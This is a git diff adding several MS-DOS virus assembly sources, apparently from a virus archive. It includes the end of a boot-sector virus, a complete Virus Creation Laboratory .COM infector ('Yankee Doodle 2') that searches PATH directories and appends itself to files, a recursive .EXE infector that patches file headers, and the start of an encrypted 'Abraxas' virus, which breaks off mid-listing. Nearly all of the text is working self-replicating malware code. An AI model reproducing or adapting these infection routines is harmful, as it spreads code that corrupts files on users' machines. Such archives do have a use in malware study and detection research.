\ Write from boot sector area + MOV BX,7C00H ; / + MOV CL,8 ; Sector eight + MOV AX,0301H ; Write one sector + INT 13H ; Disk I/O + PUSH CS ; \ Set ES to CS + POP ES ; / + JB BP0230 ; Branch if error + MOV CX,1 ; Track zero, sector one + MOV AX,0301H ; Write one sector + INT 13H ; Disk I/O + JB BP0230 ; Branch if error +BP0220: MOV DI,3456H ; Signal simulated system reset + INT 19H ; Disk bootstrap + +BP0230: CALL BP0030 ; Install interrupt 9 routine + DEC ES:GENNUM[7C00H] ; Decrement generation number + JMP BP0190 + + ; Ctrl-Alt-I + + ASSUME DS:CODE +BP0240: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states + MOV AX,GENNUM[7C00H] ; Get generation number + ASSUME DS:RAM + MOV BX,0040H ; \ Address RAM area + MOV DS,BX ; / + MOV BW0472,AX ; Generation to system reset word + JMP BP0090 ; Pass on to original interrupt + + ; Delay + +BP0250: SUB CX,CX ; Maximum count +BP0260: LOOP BP0260 ; Delay loop + SUB AH,1 ; Decrement count + JNZ BP0260 ; Repeat loop + RET + + DB 027H, 000H, 008H, 002H ; Last sector of format table +GENNUM DW 016H ; Generation number +KYSTAT DW 0 ; Ctrl & Alt key states + DB 027H, 000H, 008H, 002H ; Last sector of format table + +CODE ENDS + + END START + \ No newline at end of file diff --git a/y/YANKEE2.ASM b/y/YANKEE2.ASM new file mode 100755 index 0000000..6480c5f --- /dev/null +++ b/y/YANKEE2.ASM @@ -0,0 +1,342 @@ +; YANKEE2.ASM -- Yankee Doodle ][ +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 0 ; Appending Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call search_files ; Find and infect a file + call search_files ; Find and infect another file + call get_hour + cmp ax,0011h ; Did the function return 17? + jle skip00 ; If less that or equal, skip effect + cmp ax,0013h ; Did the function return 19? + jge skip00 ; If greater than or equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea si,[di + data00] ; SI points to data +get_note: mov bx,[si] ; Load BX with the frequency + or bx,bx ; Is BX equal to zero? + je play_tune_done ; If it is we are finished + + mov ax,034DDh ; + mov dx,0012h ; + cmp dx,bx ; + jnb new_note ; + div bx ; This bit here was stolen + mov bx,ax ; from the Turbo C++ v1.0 + in al,061h ; library file CS.LIB. I + test al,3 ; extracted sound() from the + jne skip_an_or ; library and linked it to + or al,3 ; an .EXE file, then diassembled + out 061h,al ; it. Basically this turns + mov al,0B6h ; on the speaker at a certain + out 043h,al ; frequency. +skip_an_or: mov al,bl ; + out 042h,al ; + mov al,bh ; + out 042h,al ; + + mov bx,[si + 2] ; BX holds duration value + xor ah,ah ; BIOS get time function + int 1Ah + add bx,dx ; Add the time to the length +wait_loop: int 1Ah ; Get the time again (AH = 0) + cmp dx,bx ; Is the delay over? + jne wait_loop ; Repeat until it is + + in al,061h ; Stolen from the nosound() + and al,0FCh ; procedure in Turbo C++ v1.0. + out 061h,al ; This turns off the speaker. + +new_note: add si,4 ; SI points to next note + jmp short get_note ; Repeat with the next note +play_tune_done: + +end00: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + mov bx,di ; BX points to the virus + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + lea dx,[bx + com_mask] ; DX points to "*.COM" + push di + mov di,bx + call find_files ; Try to infect a .COM file + mov bx,di + pop di + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: lea si,[bx + path_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller +found_subdir endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + lea dx,[di + start] ; DX points to start of virus + int 021h + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +get_hour proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,ch ; Copy hour into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_hour endp + +data00 dw 262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6 + dw 262,6,262,6,293,6,329,6,262,12,262,12 + dw 262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6 + dw 246,6,196,6,220,6,246,6,262,12,262,12 + dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6 + dw 196,6,220,6,196,6,174,6,164,6,174,6,196,7 + dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7 + dw 196,6,262,6,246,6,293,6,262,12,262,12 + dw 0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "[Yankee Doodle 2]",0 + db "Nowhere Man, [NuKE] '92",0 + +finish label near + +code ends + end main \ No newline at end of file diff --git a/y/YANSHORT.ASM b/y/YANSHORT.ASM new file mode 100755 index 0000000..67a362c --- /dev/null +++ b/y/YANSHORT.ASM @@ -0,0 +1,1129 @@ +.MODEL SMALL +.CODE + +comment / + Good luck! + + Vladimir Botchev, CICT-BAS, december 1988 + + / + +data_area struc ;Define a pattern for working data + ;area +DS_save dw ? +ES_save dw ? +IP_save dw ? +CS_save dw ? +SS_save dw ? +filematch db '*.exe',00h ;Names for files to infect +matchall db '*.*',00h ;needed for the matching procedure +infected dw 00h ;A very useful flag +help_flag dw 00h ;These two flags are needed to +where_from_flag dw 00h ;determine if virus is free running + ;or from an infected program + ;therefore it's very important + ;that where_from_flag value + ;is set to zero at assembly time +handle dw ? +ip_old dw ? ;old instruction pointer +cs_old dw ? ;old value of code segment +ss_old dw ? +far_push dw ? +save_push dw ? +buffer1 db '\',63 dup (?) +virus_stamp db 'motherfucker' ;Very hard to obtain in + ;a random way + +buffer2 db 2b0h dup (?) +new_area db 64 dup (?) +new_data db 64 dup (?) +pointer1 dw ? +pointer2 dw ? +pointer3 dw ? +pointer4 dw ? +pointer5 dw ? +pointer6 dw ? +pointer7 dw ? +pointer8 dw ? + +data_area ends + + org 100h ;Defined for .com file as virus must + ;be able to run on itself +start: call setup_data ;This is a near call therefore it's a + ;three byte instruction.It's purpose is + ;to catch correct data area address + ;even when virus is appended to the + ;infected .exe program +adjust equ offset pgm_start ;Known offset value +pgm_start label word ; + +virussize equ 2793 + + work: mov ax,ds ;Save old DS + push cs + pop ds ;Update to needed DS value + mov si,offset buffer.DS_save ;Put old DS in a quiet place + sub si,adjust + add si,bx + mov [si],ax + + mov si,offset buffer.ES_save ;Save it because Get DTA side effects + sub si,adjust + add si,bx + mov ax,es + mov [si],ax + push cs ;Imperative because DI usage + pop es + + push bx ;It's imperative to always keep + ;this value unchanged + mov ax,2f00h ;Get DTA function call + int 21h + + mov cx,bx ;save address found + pop bx + mov si,offset buffer.pointer1 + sub si,adjust + add si,bx + mov [si],cx + add si,2 ;Locate the segment immediately above + mov ax,es + mov [si],ax + push cs + pop es + + mov di,offset buffer.buffer1 ;adjust for first search + inc di ;Jump over the '\' + sub di,adjust + add di,bx + mov dx,0000h + push bx + call search_exe + pop bx + mov si,offset buffer.where_from_flag + sub si,adjust + add si,bx + cmp word ptr [si],0000h + jnz infected_run + int 020H + +infected_run: + mov si,offset buffer.pointer1 + sub si,adjust + add si,bx + mov dx,[si] + push ds + mov ax,[si+2] + mov ds,ax + push bx + mov ax,1a00h + int 21h + pop bx + pop ds ;Restore original DTA + + mov si,offset buffer.ES_save + sub si,adjust + add si,bx + mov ax,[si] + mov es,ax ;Restore ES + + ;Here you can do whatever you want + + push bx + call mary_proc + pop bx + + + + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + mov ax,[si] + mov dx,[si+2] + mov si,offset buffer.far_push ;Restore original code + sub si,adjust ;segment + add si,bx + mov cx,[si] + push ax + mov ax,cs + sub ax,cx + mov di,ax ;For stack + add dx,ax + pop ax + + mov si,offset buffer.SS_save + sub si,adjust ;Restore stack segment + add si,bx + mov cx,word ptr [si] + add cx,di + + push es + pop ds + + cli + mov ss,cx + sti + + + push dx + push ax + retf + + +search_exe PROC + + push si + push dx + call transfer_filespec ;transfer filename in another + ;working area + call find_first ;try to find a first match + jc not_here ;first match not found + call try_to_infect ;if found try to infect + ;infected != 0 if success + mov si,offset buffer.infected + sub si,adjust + add si,bx + test word ptr [si],0ffffh + jz try_next + jmp quiet_exit + +try_next: + call find_next ;If infection was not succesful + ;try once more + jc not_here + + call try_to_infect ;If match found try to infect + mov si,offset buffer.infected ;again + sub si,adjust + add si,bx + test word ptr [si],0ffffh + jz try_next + + jmp quiet_exit ;quiet exit simply jumps + ;to a return instruction +not_here: + pop dx ;If first searches are + push dx ;unsuccesful try a '*.*' match + call search_all + call find_first + jnc attribute_test ;i.e. expect probably to + ;find a subdirectory +quiet_exit: + pop dx + pop si + ret + +attribute_test: + mov si,dx ;offset of DTA + test byte ptr [si+015h],010h ;where attribute byte is to + ;be found.Try first with + ;subdirectory attribute + jne dir_found ;subdirectory found +more_tries: + call find_next ;Since the search was initiated + ;with '*.*' if this is not a + ;directory try to found one + jc quiet_exit ;No sense to search more + + test byte ptr [si+015h],010h + jz more_tries ;Search to the end +dir_found: + cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory + ;mark '.' + jz more_tries ;looking for files no + ;subdirectories + + call dta_compute ;Valid entry, now set some DTA + ;and continue to search + push ax + mov ah,01Ah ;Set DTA function call + int 021h + pop ax + push si + mov si,offset buffer.infected + sub si,adjust + add si,bx + test word ptr [si],0ffffh + pop si + jnz quiet_exit + + jmp more_tries + + +search_exe ENDP + +dta_compute PROC + + push di ;Save some registers + push si + push ax + push bx + cld ;Up count for SI,DI pair + mov si,dx ;DTA address to SI + add si,01EH ;and add subdirectory + ;name offset + +store_loop: + lodsb + stosb + or al,al + jne store_loop ;store loop + + std + stosb + mov al,05Ch ;Put in place the path name + ;constructor + + stosb + add di,2 ;Adjust di for new searches + call search_exe ; + ;a heavily recursion + ; + pop bx ;some cleanup and exit + ; + pop ax + pop si + pop di + ret + +dta_compute ENDP + +try_to_infect PROC + + push ax + push bx + push cx + push dx + push si + push di + + push es + push bx + mov ax,2f00h ;Get DTA function call + int 21h + mov ax,bx + pop bx + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov [si],ax ;Offset saved + add si,2 + mov ax,es + mov [si],ax + pop es ;Segment located just above + + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + push bx + mov ax,1a00h + int 21h ;Set DTA function call + pop bx ;It's very important to + ;save BX in all calls + + mov di,offset buffer.new_area + mov si,offset buffer.buffer1 + sub di,adjust + sub si,adjust + add di,bx + add si,bx + + cld ;Move previously found path- + ;name or filename to new + ;data area +move_path: + lodsb + stosb + or al,al + jnz move_path + std ;adjust DI to recieve + mov al,'\' ;filename. + mov cx,0040h + std ;Search backward + repne scasb + + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov ax,[si] + mov si,ax + add di,2 + +o_kay: + add si,001eh ;The beginning of the + ;filename... + cld ;Now move name + +move_fnm: + lodsb + stosb + or al,al + jnz move_fnm + + push dx + push bx + mov dx,offset buffer.new_area + sub dx,adjust + add dx,bx + mov ax,3d02h ;Open file with handle + ;for read/write + int 21h + pop bx + pop dx + jnc go_ahead ;In case file cannot be opened + jmp error_exit + +go_ahead: + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov [si],ax ;Save handle + + push bx + mov bx,ax ;Prepare for lseek + push dx + mov cx,0000h ;Look at the end of the file + mov dx,0000h ;Offset of -12 from the end + ;of the file + mov ax,4202h ;Lseek function call + int 21h + mov cx,dx + pop dx + pop bx + jnc compute_length + jmp close_error + +compute_length: + + sub ax,000ch + sbb cx,0000h ;Exact position + + +save_offset: ; + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + mov [si],ax + add si,2 + mov [si],cx + + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov dx,ax + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + jnc set_buffer + jmp close_error + +set_buffer: + push bx + push dx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,000ch + mov ax,3f00h + int 21h ;Read function call + pop dx + pop bx + jnc read_ok + jmp close_error + +read_ok: + mov si,offset buffer.virus_stamp + mov di,offset buffer.new_data + sub si,adjust + sub di,adjust + add si,bx + add di,bx + mov cx,12 ;Length of strings to + ;compare + repe cmpsb + pushf + mov si,offset buffer.infected + sub si,adjust + add si,bx + mov word ptr [si],0000h + popf + jnz infect_it + +close_error: + mov si,offset buffer.handle + sub si,adjust + add si,bx + push bx + mov bx,[si] + mov ax,3e00h ;Close file function call + int 21h + pop bx + jmp error_exit + +infect_it: + mov si,offset buffer.infected + sub si,adjust + add si,bx + mov word ptr [si],7777h + + mov si,offset buffer.where_from_flag + sub si,adjust + add si,bx + mov ax,[si] + sub si,2 + mov [si],ax ;This code effectively moves + ;where_from_flag into help_flag + + add si,2 + mov [si],5a5ah ;Ready to infect + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + jnc set_new_data + jmp append_ok + +set_new_data: + push bx + push dx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,001bh ;Read formatted exe header + mov ax,3f00h + int 21h ;Read function call + pop dx + pop bx + jnc read_header + jmp append_ok + +read_header: + nop ;some code to modify header + ; + + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + mov ax,[si] + add si,2 + add ax,0ch + adc word ptr [si],0000h + sub si,2 + mov [si],ax ;This code restores original + ;filelength + + mov si,offset buffer.new_data + sub si,adjust + add si,bx + mov ax,[si] + cmp ax,5a4dh ;check for valid exe file + jz valid_exe + jmp append_ok + +valid_exe: + mov ax,[si+8] ;Load module size + xor dx,dx + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 16 + + push ax + push dx ;Adjust new size + push cx + mov dx,virussize-896+64 + push dx + mov cx,0009h + shr dx,cl + add word ptr [si+4],dx + pop dx + and dx,01ffh + add dx,word ptr [si+2] + cmp dx,512 + jl adjust_okay + sub dx,512 + inc word ptr [si+4] +adjust_okay: + mov word ptr [si+2],dx + pop cx + pop dx + pop ax + + + push si ;This SI is very useful so save it + + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + sub [si],ax + mov ax,[si] + sbb [si+2],dx + mov dx,[si+2] ;the byte size of the load module + + + pop si + push ax + push dx + mov ax,[si+14h] + mov dx,[si+16h] ;Get CS:IP value + mov cx,[si+0eh] ;Get SS value + push si + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + xchg [si],ax + xchg [si+2],dx + mov si,offset buffer.SS_save + sub si,adjust + add si,bx + xchg [si],cx + mov si,offset buffer.ip_old + sub si,adjust + add si,bx + mov [si],ax + mov [si+2],dx + mov si,offset buffer.ss_old + sub si,adjust + add si,bx + mov [si],cx + pop si + pop dx + pop ax + + push ax + push dx + + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 16 + + mov cx,0008h + shl dx,cl + mov cx,0004h + shr ax,cl ;A very obscure algorithm to make + ;a segment:offset pair + mov [si+14h],ax + mov [si+16h],dx ;Infected values + + push si + mov si,offset buffer.far_push + sub si,adjust + add si,bx + xchg [si],dx + mov word ptr [si+2],dx + pop si + + pop dx + pop ax + add ax,virussize ; + adc dx,0000h + + mov cx,0003h +mul_loop: + + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 4096 + loop mul_loop + + or ax,ax + jz exact_value + inc dx +exact_value: + mov [si+0eh],dx ;Infected stack segment + + ;Write back infected header + push si + push bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov ax,5700h ;Get time function + int 21h + pop bx + pop si + jnc correct_time + jmp append_ok1 + +correct_time: + push cx + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + pop cx + jnc continue_infection + jmp append_ok1 + +continue_infection: + + push cx + push dx + push bx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,001bh ;Write infected exe header + mov ax,4000h + int 21h ;Write function call + pop bx + pop dx + pop cx + jnc glue_virus + jmp append_ok1 + +glue_virus: + + push cx + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4202h ;From the end of file + int 21h ;Lseek function call + pop dx + pop bx + pop cx + jnc write_data + jmp append_ok1 + +write_data: + + mov si,offset buffer.handle + sub si,adjust + add si,bx + + push dx + push cx + + mov dx,bx + sub dx,3 ;The starting three byte + ;call instruction + push es + push bx + push dx + push si + mov ax,2f00h + int 21h + pop si + pop dx + + push es + push bx + + push si + mov ax,1a00h + int 21h + pop si + + + mov bx,[si] ;Load handle + mov cx,virussize-896+64 ;Length of virus obtained + mov ax,4000h ;with dir + int 21h + lahf ;Write function call + + pop bx + pop es + + push ds + push es + pop ds + mov dx,bx + push ax + mov ax,1a00h + int 21h + pop ax + + pop ds + pop bx + pop es + + pop cx + pop dx + + sahf + jnc put_stamp ;Error or not file + jmp append_ok1 ;is closed + +put_stamp: + push bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov ax,5701h ;Set time function + int 21h + pop bx + +append_ok1: + + mov si,offset buffer.ip_old ;Restore previous CS:IP values + sub si,adjust + add si,bx + mov ax,[si] + mov dx,[si+2] + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + mov [si],ax + mov [si+2],dx + + mov si,offset buffer.save_push + sub si,adjust + add si,bx + mov ax,[si] + mov word ptr [si-2],ax + + mov si,offset buffer.ss_old + sub si,adjust + add si,bx + mov ax,[si] + mov si,offset buffer.SS_save + sub si,adjust + add si,bx + mov word ptr [si],ax + + +append_ok: + mov si,offset buffer.help_flag + sub si,adjust + add si,bx + mov ax,[si] + add si,2 + mov [si],ax ;This code effectively moves + ;help_flag into where_from_flag + + + jmp close_error ; + +error_exit: + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov dx,[si] ;Restore original DTA + add si,2 + mov ax,[si] + push ds + mov ds,ax + mov ax,1a00h ;Set DTA function call + int 21h + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret + +try_to_infect ENDP + +transfer_filespec PROC + + push si + mov si,offset buffer.filematch ;Transfer name to the working + ;area + sub si,adjust + add si,bx + call byte_move + pop si + ret + +transfer_filespec ENDP + +search_all PROC + + push si + mov si,offset buffer.matchall ;This is the '*.*' filename + sub si,adjust + add si,bx + call byte_move + pop si + ret + +search_all ENDP + +byte_move PROC + + push ax + push di + + cld + +move_loop: + lodsb + stosb + or al,al ;The string to move is ASCIIZ + jne move_loop + pop di + pop ax + ret + +byte_move ENDP + +find_first PROC + + push cx + push bx + cmp dx,0000h + jnbe over_set + mov dx,offset buffer.buffer2 ;Set Data Transfer Area + sub dx,adjust ;or Disk Transfer area + add dx,bx ; +over_set: + add dx,02Bh + mov cx,00010h ;Attribute byte for + ;directory search + mov ah,01ah + int 021h ;Set DTA function call + + pop bx + push bx + push dx + mov dx,offset buffer.buffer1 + sub dx,adjust + add dx,bx + mov ah,04eh ;find first + ;function call + int 021h + pop dx + pop bx + pop cx + ret + +find_first ENDP + +find_next PROC + + push cx + push bx + push dx + mov dx,offset buffer.buffer1 + sub dx,adjust + add dx,bx + mov cx,00010h + mov ah,04fh ;Find next function call + int 021h + pop dx + pop bx + pop cx + ret + +find_next ENDP + +delay PROC + + push ax + push bx + push cx + push dx + mov ah,2ch ;Read current time + int 21h + + mov ah,ch + add al,cl + add bh,dh + add bl,dl + + cmp bl,100 + jb secs + sub bl,100 + inc bh +secs: cmp bh,60 + jb mins + sub bh,60 + inc al +mins: cmp al,60 + jb hours + sub al,60 + inc ah +hours: cmp ah,24 + jne tcheck + sub ah,ah + +tcheck: push ax + mov ah,2ch + int 21h + + pop ax + cmp cx,ax + ja tdquit + jb tcheck + cmp dx,bx + jb tcheck + +tdquit: pop dx + pop cx + pop bx + pop ax + ret + +delay ENDP + +sound PROC + + push ax + push cx + push dx + push di + + mov al,0b6h + out 43h,al + mov dx,14h + mov ax,533h*896 + div di + out 42h,al + mov al,ah + out 42h,al + in al,61h + mov ah,al + or al,3 + out 61h,al + mov al,cl + call delay + mov al,ah + out 61h,al + pop di + pop dx + pop cx + pop ax + ret + +sound ENDP + +music_play PROC + + push bx + push cx + push di + push si + push bp + +freq: + + mov di,[si] + cmp di,0ffffh + je end_play + mov bl,ds:[bp] + sub cl,cl + sub bh,bh + call sound + add si,2 + inc bp + jnz freq + +end_play: + pop bp + pop si + pop di + pop cx + pop bx + ret + +music_play ENDP + +mary_proc PROC + + push bx + push bp + + mov si,offset mary_freq + mov bp,offset mary_time + sub si,adjust + sub bp,adjust + add si,bx + add bp,bx + call music_play + + pop bp + pop bx + ret + +mary_proc ENDP + +mary_freq dw 262,262,293,329,262,329,293,196 + dw 262,262,293,329,262,262 + dw 262,262,293,329,349,329,293,262 + dw 246,196,220,246,262,262 + dw 220,246,220,174,220,246,262,220 + dw 196,220,196,174,164,174,196 + dw 220,246,220,174,220,246,262,220 + dw 196,262,246,293,262,262,0ffffh + + +mary_time db 8 dup(25) + db 4 dup(25), 50, 50 + db 8 dup(25) + db 4 dup(25), 50, 50 + db 26, 25, 26, 5 dup(25) + db 26, 25, 26, 3 dup(25), 30 + db 26, 25, 26, 4 dup(25), 30 + db 4 dup(25), 50, 50 + + + +setup_data: + cli + pop bx ;This will catch instruction pointer + push bx + sti ;value and after that restore stack + ret ;pointer value + + +buffer data_area <> ;Reseve data_area space + + + END start \ No newline at end of file diff --git a/z/Z10-C.ASM b/z/Z10-C.ASM new file mode 100755 index 0000000..d4c8ff5 --- /dev/null +++ b/z/Z10-C.ASM @@ -0,0 +1,365 @@ +; Abraxas.asm : [Abraxas-b] by Abraxas + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'DA' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov bx,offset startencrypt ; start of decryption + mov cx,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,07h ; add word ptr cs:[bx], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bx ; calculate new decryption location + inc bx + loop decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],5 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ 